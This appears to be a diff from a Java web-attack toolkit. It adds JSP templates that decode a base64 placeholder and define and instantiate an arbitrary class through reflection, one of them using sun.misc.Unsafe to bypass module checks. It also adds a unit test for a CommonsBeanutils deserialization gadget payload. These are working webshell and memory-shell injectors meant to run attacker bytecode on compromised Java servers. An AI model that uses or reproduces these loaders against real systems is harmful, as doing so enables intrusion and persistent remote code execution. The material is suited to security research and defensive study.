bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
]]></jsp:scriptlet>
|
||||
</jsp:root>
|
||||
@@ -0,0 +1,24 @@
|
||||
<%@ page import="java.lang.*" %>
|
||||
<%@ page import="java.lang.Class" %>
|
||||
<%@ page import="java.lang.ClassLoader" %>
|
||||
<%@ page import="java.lang.ClassNotFoundException" %>
|
||||
<%@ page import="java.lang.Object" %>
|
||||
<%@ page import="java.lang.String" %>
|
||||
<%@ page import="java.lang.Thread" %>
|
||||
<%
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
|
||||
clazz.newInstance();
|
||||
%>
|
||||
@@ -0,0 +1,48 @@
|
||||
<%@ page import="java.lang.*" %>
|
||||
<%@ page import="java.lang.Class" %>
|
||||
<%@ page import="java.lang.ClassLoader" %>
|
||||
<%@ page import="java.lang.ClassNotFoundException" %>
|
||||
<%@ page import="java.lang.Integer" %>
|
||||
<%@ page import="java.lang.Long" %>
|
||||
<%@ page import="java.lang.Object" %>
|
||||
<%@ page import="java.lang.String" %>
|
||||
<%@ page import="java.lang.Thread" %>
|
||||
<%@ page import="java.lang.Throwable" %>
|
||||
<%
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
Object unsafe = null;
|
||||
Object rawModule = null;
|
||||
long offset = 48;
|
||||
java.lang.reflect.Method getAndSetObjectM = null;
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
unsafe = unsafeField.get(null);
|
||||
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", java.lang.reflect.Field.class);
|
||||
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());
|
||||
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defMethod.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
|
||||
if (getAndSetObjectM != null) {
|
||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||
}
|
||||
clazz.newInstance();
|
||||
%>
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.deserialize.payload;
|
||||
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
class CommonsBeanutils18Test {
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void test() {
|
||||
Object object = new ByteBuddy()
|
||||
.redefine(Class.forName("org.apache.commons.beanutils.BeanComparator"))
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
.value(-2044202215314119608L)
|
||||
.make().load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded().newInstance();
|
||||
assertEquals(-2044202215314119608L, Reflections.getFieldValue(object, "serialVersionUID"));
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user